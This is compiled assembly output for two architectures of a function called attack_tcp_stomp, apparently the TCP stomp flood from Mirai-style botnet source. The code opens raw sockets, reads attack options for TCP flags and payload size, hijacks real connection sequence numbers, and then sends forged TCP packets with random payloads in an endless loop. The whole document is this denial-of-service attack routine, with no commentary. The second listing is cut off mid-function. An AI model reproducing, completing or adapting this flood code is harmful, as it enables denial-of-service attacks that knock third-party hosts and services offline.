	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.globl	_attack_tcp_stomp               ## -- Begin function attack_tcp_stomp
	.p2align	4, 0x90
_attack_tcp_stomp:                      ## @attack_tcp_stomp
	.cfi_startproc
## %bb.0:
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset %rbp, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register %rbp
	pushq	%r15
	pushq	%r14
	pushq	%r13
	pushq	%r12
	pushq	%rbx
	subq	$472, %rsp                      ## imm = 0x1D8
	.cfi_offset %rbx, -56
	.cfi_offset %r12, -48
	.cfi_offset %r13, -40
	.cfi_offset %r14, -32
	.cfi_offset %r15, -24
	movq	%rcx, %r12
	movl	%edx, %r13d
	movq	%rsi, -376(%rbp)                ## 8-byte Spill
	movl	%edi, %r14d
	movq	___stack_chk_guard@GOTPCREL(%rip), %rax
	movq	(%rax), %rax
	movq	%rax, -48(%rbp)
	movl	$24, %esi
	callq	_calloc
	movq	%rax, %rbx
	movl	%r14d, -312(%rbp)               ## 4-byte Spill
	movl	%r14d, %edi
	movl	$8, %esi
	callq	_calloc
	movq	%rax, -368(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_IP_TOS@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	%r13d, %edi
	movq	%r12, %rsi
	xorl	%ecx, %ecx
	callq	_attack_get_opt_int
	movq	%rax, -480(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_IP_IDENT@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	%r13d, %edi
	movq	%r12, %rsi
	movl	$65535, %ecx                    ## imm = 0xFFFF
	callq	_attack_get_opt_int
	movq	%rax, -360(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_IP_TTL@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	%r13d, %edi
	movq	%r12, %rsi
	movl	$64, %ecx
	callq	_attack_get_opt_int
	movq	%rax, -472(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_IP_DF@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movq	_TRUE@GOTPCREL(%rip), %r15
	movl	(%r15), %ecx
	movl	%r13d, %edi
	movq	%r12, %rsi
	callq	_attack_get_opt_int
	movq	%rax, -464(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_DPORT@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	%r13d, %edi
	movq	%r12, %rsi
	movl	$65535, %ecx                    ## imm = 0xFFFF
	callq	_attack_get_opt_int
	movq	%rax, -352(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_URG@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movq	_FALSE@GOTPCREL(%rip), %r14
	movl	(%r14), %ecx
	movl	%r13d, %edi
	movq	%r12, %rsi
	callq	_attack_get_opt_int
	movq	%rax, -456(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_ACK@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	(%r15), %ecx
	movl	%r13d, %edi
	movq	%r12, %rsi
	callq	_attack_get_opt_int
	movq	%rax, -448(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_PSH@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	(%r15), %ecx
	movl	%r13d, %edi
	movq	%r12, %rsi
	callq	_attack_get_opt_int
	movq	%rax, -440(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_RST@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	(%r14), %ecx
	movl	%r13d, %edi
	movq	%r12, %rsi
	callq	_attack_get_opt_int
	movq	%rax, -432(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_SYN@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	(%r14), %ecx
	movl	%r13d, %edi
	movq	%r12, %rsi
	callq	_attack_get_opt_int
	movq	%rax, -424(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_FIN@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	(%r14), %ecx
	movl	%r13d, %edi
	movq	%r12, %rsi
	callq	_attack_get_opt_int
	movq	%rax, -416(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_PAYLOAD_SIZE@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	%r13d, %edi
	movq	%r12, %rsi
	movl	$768, %ecx                      ## imm = 0x300
	callq	_attack_get_opt_int
	movq	%rax, -336(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_PAYLOAD_RAND@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	(%r15), %ecx
	movl	%r13d, %edi
	movq	%r12, %rsi
	callq	_attack_get_opt_int
	movq	%rax, -488(%rbp)                ## 8-byte Spill
	movq	_AF_INET@GOTPCREL(%rip), %r15
	movl	(%r15), %edi
	movq	_SOCK_RAW@GOTPCREL(%rip), %rax
	movl	(%rax), %esi
	movq	_IPPROTO_TCP@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	callq	_socket
	movl	%eax, -316(%rbp)                ## 4-byte Spill
	cmpl	$-1, %eax
	je	LBB0_40
## %bb.1:
	movl	$1, -308(%rbp)
	movq	_IPPROTO_IP@GOTPCREL(%rip), %rax
	movl	(%rax), %esi
	movq	_IP_HDRINCL@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	leaq	-308(%rbp), %rcx
	movl	-316(%rbp), %r14d               ## 4-byte Reload
	movl	%r14d, %edi
	movl	$4, %r8d
	callq	_setsockopt
	cmpl	$-1, %eax
	je	LBB0_39
## %bb.2:
	movl	$0, -308(%rbp)
	cmpl	$0, -312(%rbp)                  ## 4-byte Folded Reload
	movq	_TRUE@GOTPCREL(%rip), %r13
	jle	LBB0_5
## %bb.3:
	movq	-336(%rbp), %rax                ## 8-byte Reload
	addl	$136, %eax
	movl	%eax, -340(%rbp)                ## 4-byte Spill
	movq	_SOCK_STREAM@GOTPCREL(%rip), %r14
                                        ## implicit-def: $rax
                                        ## kill: killed $rax
	jmp	LBB0_4
LBB0_39:
	movl	%r14d, %edi
	callq	_close
	jmp	LBB0_40
LBB0_24:                                ##   in Loop: Header=BB0_4 Depth=1
	movq	_IPPROTO_TCP@GOTPCREL(%rip), %rax
	movl	(%rax), %eax
	movl	%eax, 44(%r14)
	movq	_LOCAL_ADDR@GOTPCREL(%rip), %rax
	movl	(%rax), %eax
	movl	%eax, 40(%r14)
	movslq	-308(%rbp), %rax
	leaq	(%rax,%rax,2), %rax
	movq	(%rbx,%rax,8), %rcx
	movq	%rcx, 24(%r14)
	movl	16(%rbx,%rax,8), %ecx
	movl	%ecx, 64(%r14)
	movl	20(%rbx,%rax,8), %ecx
	movl	%ecx, 80(%r14)
	movl	12(%rbx,%rax,8), %ecx
	movl	%ecx, 72(%r14)
	movl	8(%rbx,%rax,8), %eax
	movl	%eax, 76(%r14)
	movl	$8, 84(%r14)
	movl	(%r13), %eax
	movl	%eax, 88(%r14)
	movl	%eax, 68(%r14)
	xorl	%eax, %eax
	callq	_rand_next
	movzwl	%ax, %eax
	movl	%eax, 92(%r14)
	movq	-456(%rbp), %rax                ## 8-byte Reload
	movq	%rax, 128(%r14)
	movq	-448(%rbp), %rax                ## 8-byte Reload
	movl	%eax, 68(%r14)
	movq	-440(%rbp), %rax                ## 8-byte Reload
	movq	%rax, 120(%r14)
	movq	-432(%rbp), %rax                ## 8-byte Reload
	movq	%rax, 104(%r14)
	movq	-424(%rbp), %rax                ## 8-byte Reload
	movq	%rax, 112(%r14)
	movq	-416(%rbp), %rax                ## 8-byte Reload
	movl	%eax, 88(%r14)
	movq	-328(%rbp), %rdi                ## 8-byte Reload
	movq	-336(%rbp), %rsi                ## 8-byte Reload
                                        ## kill: def $esi killed $esi killed $rsi
	callq	_rand_str
	.p2align	4, 0x90
LBB0_25:                                ##   in Loop: Header=BB0_4 Depth=1
	movq	_SOCK_STREAM@GOTPCREL(%rip), %r14
LBB0_26:                                ##   in Loop: Header=BB0_4 Depth=1
	movl	-308(%rbp), %eax
	incl	%eax
	movl	%eax, -308(%rbp)
	cmpl	-312(%rbp), %eax                ## 4-byte Folded Reload
	jge	LBB0_5
LBB0_4:                                 ## =>This Loop Header: Depth=1
                                        ##     Child Loop BB0_8 Depth 2
                                        ##       Child Loop BB0_15 Depth 3
	movl	(%r15), %edi
LBB0_8:                                 ##   Parent Loop BB0_4 Depth=1
                                        ## =>  This Loop Header: Depth=2
                                        ##       Child Loop BB0_15 Depth 3
	movl	(%r14), %esi
	xorl	%edx, %edx
	callq	_socket
	movl	%eax, %ecx
	cmpl	$-1, %eax
	je	LBB0_26
## %bb.9:                               ##   in Loop: Header=BB0_8 Depth=2
	movq	_F_SETFL@GOTPCREL(%rip), %rax
	movl	(%rax), %r14d
	movq	_F_GETFL@GOTPCREL(%rip), %rax
	movl	(%rax), %esi
	movq	%r15, %r12
	movl	%ecx, %r15d
	movl	%ecx, %edi
	xorl	%edx, %edx
	callq	_fcntl
	movq	_O_NONBLOCK@GOTPCREL(%rip), %rcx
	orl	(%rcx), %eax
	movl	%r15d, -328(%rbp)               ## 4-byte Spill
	movl	%r15d, %edi
	movq	%r12, %r15
	movl	%r14d, %esi
	movl	%eax, %edx
	callq	_fcntl
	movl	(%r12), %eax
	movl	%eax, -384(%rbp)
	movslq	-308(%rbp), %rax
	leaq	(%rax,%rax,2), %rax
	movq	-376(%rbp), %rcx                ## 8-byte Reload
	cmpl	$31, (%rcx,%rax,4)
	movslq	4(%rcx,%rax,4), %rax
	jg	LBB0_11
## %bb.10:                              ##   in Loop: Header=BB0_8 Depth=2
	movl	%eax, %edi
	movq	%rcx, %r13
	callq	_ntohl
	movq	%rax, %r14
	xorl	%eax, %eax
	callq	_rand_next
	movslq	-308(%rbp), %rcx
	leaq	(%rcx,%rcx,2), %rcx
	movb	(%r13,%rcx,4), %cl
	movq	_TRUE@GOTPCREL(%rip), %r13
	sarl	%cl, %eax
	movslq	%eax, %rdi
	addq	%r14, %rdi
	callq	_htonl
LBB0_11:                                ##   in Loop: Header=BB0_8 Depth=2
	movq	-352(%rbp), %rdi                ## 8-byte Reload
	movq	%rax, -392(%rbp)
	cmpl	$65535, %edi                    ## imm = 0xFFFF
	movq	_MSG_NOSIGNAL@GOTPCREL(%rip), %r12
	jne	LBB0_13
## %bb.12:                              ##   in Loop: Header=BB0_8 Depth=2
	xorl	%eax, %eax
	callq	_rand_next
	movzwl	%ax, %eax
	jmp	LBB0_14
	.p2align	4, 0x90
LBB0_13:                                ##   in Loop: Header=BB0_8 Depth=2
                                        ## kill: def $edi killed $edi killed $rdi
	callq	_htons
LBB0_14:                                ##   in Loop: Header=BB0_8 Depth=2
	movl	%eax, -400(%rbp)
	movl	-328(%rbp), %edi                ## 4-byte Reload
	leaq	-400(%rbp), %rsi
	movl	$24, %edx
	callq	_connect
	xorl	%edi, %edi
	callq	_time
	movl	%eax, %r14d
	jmp	LBB0_15
	.p2align	4, 0x90
LBB0_29:                                ##   in Loop: Header=BB0_15 Depth=3
	xorl	%edi, %edi
	callq	_time
	subl	%r14d, %eax
	cmpl	$10, %eax
	jg	LBB0_7
LBB0_15:                                ##   Parent Loop BB0_4 Depth=1
                                        ##     Parent Loop BB0_8 Depth=2
                                        ## =>    This Inner Loop Header: Depth=3
	cmpl	$0, (%r13)
	je	LBB0_25
## %bb.16:                              ##   in Loop: Header=BB0_15 Depth=3
	movl	$24, -344(%rbp)
	movl	(%r12), %ecx
	movl	-316(%rbp), %edi                ## 4-byte Reload
	leaq	-304(%rbp), %rsi
	movl	$256, %edx                      ## imm = 0x100
	leaq	-512(%rbp), %r8
	leaq	-344(%rbp), %r9
	callq	_recvfrom
	cmpl	$-1, %eax
	je	LBB0_40
## %bb.17:                              ##   in Loop: Header=BB0_15 Depth=3
	movq	-504(%rbp), %rcx
	cmpq	-392(%rbp), %rcx
	jne	LBB0_29
## %bb.18:                              ##   in Loop: Header=BB0_15 Depth=3
	cmpl	$137, %eax
	jb	LBB0_29
## %bb.19:                              ##   in Loop: Header=BB0_15 Depth=3
	movl	-240(%rbp), %eax
	cmpl	-400(%rbp), %eax
	jne	LBB0_29
## %bb.20:                              ##   in Loop: Header=BB0_15 Depth=3
	cmpq	$0, -192(%rbp)
	je	LBB0_27
## %bb.21:                              ##   in Loop: Header=BB0_15 Depth=3
	cmpl	$0, -236(%rbp)
	jne	LBB0_22
LBB0_27:                                ##   in Loop: Header=BB0_15 Depth=3
	cmpl	$0, -216(%rbp)
	jne	LBB0_7
## %bb.28:                              ##   in Loop: Header=BB0_15 Depth=3
	cmpq	$0, -200(%rbp)
	je	LBB0_29
	.p2align	4, 0x90
LBB0_7:                                 ##   in Loop: Header=BB0_8 Depth=2
	movl	-328(%rbp), %edi                ## 4-byte Reload
	callq	_close
	movl	(%r15), %edi
	movq	_SOCK_STREAM@GOTPCREL(%rip), %r14
	jmp	LBB0_8
LBB0_22:                                ##   in Loop: Header=BB0_4 Depth=1
	movslq	-308(%rbp), %rax
	leaq	(%rax,%rax,2), %rax
	movq	%rcx, (%rbx,%rax,8)
	movq	-408(%rbp), %r14                ## 8-byte Reload
	movl	8(%r14), %edi
	callq	_ntohl
	movslq	-308(%rbp), %rcx
	leaq	(%rcx,%rcx,2), %rcx
	movl	%eax, 8(%rbx,%rcx,8)
	movl	12(%r14), %edi
	callq	_ntohl
	movslq	-308(%rbp), %rcx
	leaq	(%rcx,%rcx,2), %rcx
	movl	%eax, 12(%rbx,%rcx,8)
	movl	16(%r14), %eax
	movl	%eax, 16(%rbx,%rcx,8)
	movl	-400(%rbp), %eax
	movl	%eax, 20(%rbx,%rcx,8)
	movl	-340(%rbp), %r12d               ## 4-byte Reload
	movl	%r12d, %edi
	callq	_malloc
	movq	%rax, %r14
	movslq	-308(%rbp), %rax
	movq	-368(%rbp), %rcx                ## 8-byte Reload
	movq	%r14, (%rcx,%rax,8)
	leaq	64(%r14), %rax
	movq	%rax, -408(%rbp)                ## 8-byte Spill
	leaq	136(%r14), %rax
	movq	%rax, -328(%rbp)                ## 8-byte Spill
	movabsq	$21474836484, %rax              ## imm = 0x500000004
	movq	%rax, (%r14)
	movq	-480(%rbp), %rax                ## 8-byte Reload
	movl	%eax, 8(%r14)
	movl	%r12d, %edi
	callq	_htons
	movq	%rax, 56(%r14)
	movq	-360(%rbp), %rdi                ## 8-byte Reload
                                        ## kill: def $edi killed $edi killed $rdi
	callq	_htons
	movl	%eax, 12(%r14)
	movq	-472(%rbp), %rax                ## 8-byte Reload
	movl	%eax, 16(%r14)
	cmpq	$0, -464(%rbp)                  ## 8-byte Folded Reload
	je	LBB0_24
## %bb.23:                              ##   in Loop: Header=BB0_4 Depth=1
	movl	$16384, %edi                    ## imm = 0x4000
	callq	_htons
	movq	%rax, 48(%r14)
	jmp	LBB0_24
LBB0_5:
	movl	(%r13), %eax
	testl	%eax, %eax
	je	LBB0_40
## %bb.6:
	movq	-336(%rbp), %rcx                ## 8-byte Reload
	leal	72(%rcx), %r14d
	leal	136(%rcx), %r12d
	jmp	LBB0_32
	.p2align	4, 0x90
LBB0_30:                                ##   in Loop: Header=BB0_32 Depth=1
	movq	_TRUE@GOTPCREL(%rip), %rax
	movl	(%rax), %eax
LBB0_31:                                ##   in Loop: Header=BB0_32 Depth=1
	testl	%eax, %eax
	je	LBB0_40
LBB0_32:                                ## =>This Loop Header: Depth=1
                                        ##     Child Loop BB0_34 Depth 2
	movl	$0, -308(%rbp)
	cmpl	$0, -312(%rbp)                  ## 4-byte Folded Reload
	jle	LBB0_31
## %bb.33:                              ##   in Loop: Header=BB0_32 Depth=1
	xorl	%eax, %eax
	jmp	LBB0_34
	.p2align	4, 0x90
LBB0_38:                                ##   in Loop: Header=BB0_34 Depth=2
	movq	$0, 32(%r13)
	movq	%r13, %rdi
	movl	$64, %esi
	callq	_checksum_generic
	movq	%rax, 32(%r13)
	movslq	-308(%rbp), %rax
	leaq	(%rax,%rax,2), %rax
	movl	8(%rbx,%rax,8), %edi
	leal	1(%rdi), %ecx
	movl	%ecx, 8(%rbx,%rax,8)
                                        ## kill: def $edi killed $edi killed $rdi
	callq	_htons
	movl	%eax, 72(%r13)
	movslq	-308(%rbp), %rax
	leaq	(%rax,%rax,2), %rax
	movl	12(%rbx,%rax,8), %edi
	callq	_htons
	movl	%eax, 76(%r13)
	movq	$0, 96(%r13)
	movl	%r14d, %edi
	callq	_htons
	movq	%r13, %rdi
	movq	%r15, %rsi
	movq	%rax, %rdx
	movl	%r14d, %ecx
	callq	_checksum_tcpudp
	movq	%rax, 96(%r13)
	movl	80(%r13), %eax
	movslq	-308(%rbp), %rcx
	leaq	(%rcx,%rcx,2), %rcx
	movq	-376(%rbp), %rdx                ## 8-byte Reload
	leaq	8(%rdx,%rcx,4), %r8
	movl	%eax, 8(%rdx,%rcx,4)
	movq	_MSG_NOSIGNAL@GOTPCREL(%rip), %rax
	movl	(%rax), %ecx
	movl	-316(%rbp), %edi                ## 4-byte Reload
	movq	%r13, %rsi
	movl	%r12d, %edx
	movl	$24, %r9d
	callq	_sendto
	movl	-308(%rbp), %eax
	incl	%eax
	movl	%eax, -308(%rbp)
	cmpl	-312(%rbp), %eax                ## 4-byte Folded Reload
	jge	LBB0_30
LBB0_34:                                ##   Parent Loop BB0_32 Depth=1
                                        ## =>  This Inner Loop Header: Depth=2
	cltq
	movq	-368(%rbp), %rcx                ## 8-byte Reload
	movq	(%rcx,%rax,8), %r13
	cmpl	$65535, -360(%rbp)              ## 4-byte Folded Reload
                                        ## imm = 0xFFFF
	jne	LBB0_36
## %bb.35:                              ##   in Loop: Header=BB0_34 Depth=2
	xorl	%eax, %eax
	callq	_rand_next
	movzwl	%ax, %eax
	movl	%eax, 12(%r13)
LBB0_36:                                ##   in Loop: Header=BB0_34 Depth=2
	leaq	64(%r13), %r15
	cmpq	$0, -488(%rbp)                  ## 8-byte Folded Reload
	je	LBB0_38
## %bb.37:                              ##   in Loop: Header=BB0_34 Depth=2
	leaq	136(%r13), %rdi
	movq	-336(%rbp), %rsi                ## 8-byte Reload
                                        ## kill: def $esi killed $esi killed $rsi
	callq	_rand_str
	jmp	LBB0_38
LBB0_40:
	movq	___stack_chk_guard@GOTPCREL(%rip), %rax
	movq	(%rax), %rax
	cmpq	-48(%rbp), %rax
	jne	LBB0_42
## %bb.41:
	addq	$472, %rsp                      ## imm = 0x1D8
	popq	%rbx
	popq	%r12
	popq	%r13
	popq	%r14
	popq	%r15
	popq	%rbp
	retq
LBB0_42:
	callq	___stack_chk_fail
	.cfi_endproc
                                        ## -- End function
	.comm	_ATK_OPT_IP_TOS,4,2             ## @ATK_OPT_IP_TOS
	.comm	_ATK_OPT_IP_IDENT,4,2           ## @ATK_OPT_IP_IDENT
	.comm	_ATK_OPT_IP_TTL,4,2             ## @ATK_OPT_IP_TTL
	.comm	_ATK_OPT_IP_DF,4,2              ## @ATK_OPT_IP_DF
	.comm	_TRUE,4,2                       ## @TRUE
	.comm	_ATK_OPT_DPORT,4,2              ## @ATK_OPT_DPORT
	.comm	_ATK_OPT_URG,4,2                ## @ATK_OPT_URG
	.comm	_FALSE,4,2                      ## @FALSE
	.comm	_ATK_OPT_ACK,4,2                ## @ATK_OPT_ACK
	.comm	_ATK_OPT_PSH,4,2                ## @ATK_OPT_PSH
	.comm	_ATK_OPT_RST,4,2                ## @ATK_OPT_RST
	.comm	_ATK_OPT_SYN,4,2                ## @ATK_OPT_SYN
	.comm	_ATK_OPT_FIN,4,2                ## @ATK_OPT_FIN
	.comm	_ATK_OPT_PAYLOAD_SIZE,4,2       ## @ATK_OPT_PAYLOAD_SIZE
	.comm	_ATK_OPT_PAYLOAD_RAND,4,2       ## @ATK_OPT_PAYLOAD_RAND
	.comm	_AF_INET,4,2                    ## @AF_INET
	.comm	_SOCK_RAW,4,2                   ## @SOCK_RAW
	.comm	_IPPROTO_TCP,4,2                ## @IPPROTO_TCP
	.comm	_IPPROTO_IP,4,2                 ## @IPPROTO_IP
	.comm	_IP_HDRINCL,4,2                 ## @IP_HDRINCL
	.comm	_SOCK_STREAM,4,2                ## @SOCK_STREAM
	.comm	_F_SETFL,4,2                    ## @F_SETFL
	.comm	_F_GETFL,4,2                    ## @F_GETFL
	.comm	_O_NONBLOCK,4,2                 ## @O_NONBLOCK
	.comm	_MSG_NOSIGNAL,4,2               ## @MSG_NOSIGNAL
	.comm	_LOCAL_ADDR,4,2                 ## @LOCAL_ADDR
	.comm	_errno,8,3                      ## @errno
.subsections_via_symbols

	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.section	__TEXT,__literal8,8byte_literals
	.p2align	3                               ; -- Begin function attack_tcp_stomp
lCPI0_0:
	.long	4                               ; 0x4
	.long	5                               ; 0x5
	.section	__TEXT,__text,regular,pure_instructions
	.globl	_attack_tcp_stomp
	.p2align	2
_attack_tcp_stomp:                      ; @attack_tcp_stomp
	.cfi_startproc
; %bb.0:
	stp	d9, d8, [sp, #-112]!            ; 16-byte Folded Spill
	.cfi_def_cfa_offset 112
	stp	x28, x27, [sp, #16]             ; 16-byte Folded Spill
	stp	x26, x25, [sp, #32]             ; 16-byte Folded Spill
	stp	x24, x23, [sp, #48]             ; 16-byte Folded Spill
	stp	x22, x21, [sp, #64]             ; 16-byte Folded Spill
	stp	x20, x19, [sp, #80]             ; 16-byte Folded Spill
	stp	x29, x30, [sp, #96]             ; 16-byte Folded Spill
	add	x29, sp, #96
	.cfi_def_cfa w29, 16
	.cfi_offset w30, -8
	.cfi_offset w29, -16
	.cfi_offset w19, -24
	.cfi_offset w20, -32
	.cfi_offset w21, -40
	.cfi_offset w22, -48
	.cfi_offset w23, -56
	.cfi_offset w24, -64
	.cfi_offset w25, -72
	.cfi_offset w26, -80
	.cfi_offset w27, -88
	.cfi_offset w28, -96
	.cfi_offset b8, -104
	.cfi_offset b9, -112
	sub	sp, sp, #464
	mov	x25, x3
	mov	x26, x2
	str	x1, [sp, #120]                  ; 8-byte Folded Spill
	mov	x19, x0
Lloh0:
	adrp	x8, ___stack_chk_guard@GOTPAGE
Lloh1:
	ldr	x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
	ldr	x8, [x8]
	stur	x8, [x29, #-112]
	mov	w1, #24
	bl	_calloc
	mov	x21, x0
	str	w19, [sp, #128]                 ; 4-byte Folded Spill
	mov	x0, x19
	mov	w1, #8
	bl	_calloc
	str	x0, [sp, #112]                  ; 8-byte Folded Spill
Lloh3:
	adrp	x8, _ATK_OPT_IP_TOS@GOTPAGE
Lloh4:
	ldr	x8, [x8, _ATK_OPT_IP_TOS@GOTPAGEOFF]
Lloh5:
	ldr	w2, [x8]
	mov	x0, x26
	mov	x1, x25
	mov	w3, #0
	bl	_attack_get_opt_int
	mov	x28, x0
Lloh6:
	adrp	x8, _ATK_OPT_IP_IDENT@GOTPAGE
Lloh7:
	ldr	x8, [x8, _ATK_OPT_IP_IDENT@GOTPAGEOFF]
Lloh8:
	ldr	w2, [x8]
	mov	x0, x26
	mov	x1, x25
	mov	w3, #65535
	bl	_attack_get_opt_int
	str	x0, [sp, #104]                  ; 8-byte Folded Spill
Lloh9:
	adrp	x8, _ATK_OPT_IP_TTL@GOTPAGE
Lloh10:
	ldr	x8, [x8, _ATK_OPT_IP_TTL@GOTPAGEOFF]
Lloh11:
	ldr	w2, [x8]
	mov	x0, x26
	mov	x1, x25
	mov	w3, #64
	bl	_attack_get_opt_int
	mov	x22, x0
Lloh12:
	adrp	x8, _ATK_OPT_IP_DF@GOTPAGE
Lloh13:
	ldr	x8, [x8, _ATK_OPT_IP_DF@GOTPAGEOFF]
Lloh14:
	ldr	w2, [x8]
Lloh15:
	adrp	x20, _TRUE@GOTPAGE
Lloh16:
	ldr	x20, [x20, _TRUE@GOTPAGEOFF]
	ldr	w3, [x20]
	mov	x0, x26
	mov	x1, x25
	bl	_attack_get_opt_int
	mov	x24, x0
Lloh17:
	adrp	x8, _ATK_OPT_DPORT@GOTPAGE
Lloh18:
	ldr	x8, [x8, _ATK_OPT_DPORT@GOTPAGEOFF]
Lloh19:
	ldr	w2, [x8]
	mov	x0, x26
	mov	x1, x25
	mov	w3, #65535
	bl	_attack_get_opt_int
	mov	x23, x0
Lloh20:
	adrp	x8, _ATK_OPT_URG@GOTPAGE
Lloh21:
	ldr	x8, [x8, _ATK_OPT_URG@GOTPAGEOFF]
Lloh22:
	ldr	w2, [x8]
Lloh23:
	adrp	x19, _FALSE@GOTPAGE
Lloh24:
	ldr	x19, [x19, _FALSE@GOTPAGEOFF]
	ldr	w3, [x19]
	mov	x0, x26
	mov	x1, x25
	bl	_attack_get_opt_int
	str	x0, [sp, #80]                   ; 8-byte Folded Spill
Lloh25:
	adrp	x8, _ATK_OPT_ACK@GOTPAGE
Lloh26:
	ldr	x8, [x8, _ATK_OPT_ACK@GOTPAGEOFF]
Lloh27:
	ldr	w2, [x8]
	ldr	w3, [x20]
	mov	x0, x26
	mov	x1, x25
	bl	_attack_get_opt_int
	str	x0, [sp, #72]                   ; 8-byte Folded Spill
Lloh28:
	adrp	x8, _ATK_OPT_PSH@GOTPAGE
Lloh29:
	ldr	x8, [x8, _ATK_OPT_PSH@GOTPAGEOFF]
Lloh30:
	ldr	w2, [x8]
	ldr	w3, [x20]
	mov	x0, x26
	mov	x1, x25
	bl	_attack_get_opt_int
	str	x0, [sp, #64]                   ; 8-byte Folded Spill
Lloh31:
	adrp	x8, _ATK_OPT_RST@GOTPAGE
Lloh32:
	ldr	x8, [x8, _ATK_OPT_RST@GOTPAGEOFF]
Lloh33:
	ldr	w2, [x8]
	ldr	w3, [x19]
	mov	x0, x26
	mov	x1, x25
	bl	_attack_get_opt_int
	str	x0, [sp, #56]                   ; 8-byte Folded Spill
Lloh34:
	adrp	x8, _ATK_OPT_SYN@GOTPAGE
Lloh35:
	ldr	x8, [x8, _ATK_OPT_SYN@GOTPAGEOFF]
Lloh36:
	ldr	w2, [x8]
	ldr	w3, [x19]
	mov	x0, x26
	mov	x1, x25
	bl	_attack_get_opt_int
	str	x0, [sp, #48]                   ; 8-byte Folded Spill
Lloh37:
	adrp	x8, _ATK_OPT_FIN@GOTPAGE
Lloh38:
	ldr	x8, [x8, _ATK_OPT_FIN@GOTPAGEOFF]
Lloh39:
	ldr	w2, [x8]
	ldr	w3, [x19]
	mov	x0, x26
	mov	x1, x25
	bl	_attack_get_opt_int
	mov	x19, x0
Lloh40:
	adrp	x8, _ATK_OPT_PAYLOAD_SIZE@GOTPAGE
Lloh41:
	ldr	x8, [x8, _ATK_OPT_PAYLOAD_SIZE@GOTPAGEOFF]
Lloh42:
	ldr	w2, [x8]
	mov	x0, x26
	mov	x1, x25
	mov	w3, #768
	bl	_attack_get_opt_int
	str	x0, [sp, #88]                   ; 8-byte Folded Spill
Lloh43:
	adrp	x8, _ATK_OPT_PAYLOAD_RAND@GOTPAGE
Lloh44:
	ldr	x8, [x8, _ATK_OPT_PAYLOAD_RAND@GOTPAGEOFF]
Lloh45:
	ldr	w2, [x8]
	ldr	w3, [x20]
	mov	x0, x26
	mov	x1, x25
	bl	_attack_get_opt_int
	str	x0, [sp, #96]                   ; 8-byte Folded Spill
Lloh46:
	adrp	x25, _AF_INET@GOTPAGE
Lloh47:
	ldr	x25, [x25, _AF_INET@GOTPAGEOFF]
	ldr	w0, [x25]
Lloh48:
	adrp	x8, _SOCK_RAW@GOTPAGE
Lloh49:
	ldr	x8, [x8, _SOCK_RAW@GOTPAGEOFF]
Lloh50:
	ldr	w1, [x8]
Lloh51:
	adrp	x8, _IPPROTO_TCP@GOTPAGE
Lloh52:
	ldr	x8, [x8, _IPPROTO_TCP@GOTPAGEOFF]
Lloh53:
	ldr	w2, [x8]
	bl	_socket
	cmn	w0, #1
	b.eq	LBB0_38
; %bb.1:
	mov	x27, x0
	mov	w8, #1
	str	w8, [sp, #188]
Lloh54:
	adrp	x8, _IPPROTO_IP@GOTPAGE
Lloh55:
	ldr	x8, [x8, _IPPROTO_IP@GOTPAGEOFF]
Lloh56:
	ldr	w1, [x8]
Lloh57:
	adrp	x8, _IP_HDRINCL@GOTPAGE
Lloh58:
	ldr	x8, [x8, _IP_HDRINCL@GOTPAGEOFF]
Lloh59:
	ldr	w2, [x8]
	add	x3, sp, #188
	mov	w4, #4
	bl	_setsockopt
	cmn	w0, #1
	b.eq	LBB0_4
; %bb.2:
	stp	x19, x28, [sp, #24]             ; 16-byte Folded Spill
	str	x24, [sp, #40]                  ; 8-byte Folded Spill
	str	x22, [sp, #16]                  ; 8-byte Folded Spill
	str	wzr, [sp, #188]
	ldr	w8, [sp, #128]                  ; 4-byte Folded Reload
	cmp	w8, #1
	ldr	x20, [sp, #120]                 ; 8-byte Folded Reload
Lloh60:
	adrp	x22, _TRUE@GOTPAGE
Lloh61:
	ldr	x22, [x22, _TRUE@GOTPAGEOFF]
	b.lt	LBB0_27
; %bb.3:
	ldr	x8, [sp, #88]                   ; 8-byte Folded Reload
	add	w8, w8, #136
	str	w8, [sp, #12]                   ; 4-byte Folded Spill
Lloh62:
	adrp	x19, _MSG_NOSIGNAL@GOTPAGE
Lloh63:
	ldr	x19, [x19, _MSG_NOSIGNAL@GOTPAGEOFF]
	mov	w28, #24
Lloh64:
	adrp	x8, lCPI0_0@PAGE
Lloh65:
	ldr	d8, [x8, lCPI0_0@PAGEOFF]
                                        ; implicit-def: $x8
                                        ; kill: killed $x8
	b	LBB0_7
LBB0_4:
	mov	x0, x27
	bl	_close
	b	LBB0_38
LBB0_5:                                 ;   in Loop: Header=BB0_7 Depth=1
	add	x8, x24, #64
	str	x8, [sp]                        ; 8-byte Folded Spill
	add	x26, x24, #136
Lloh66:
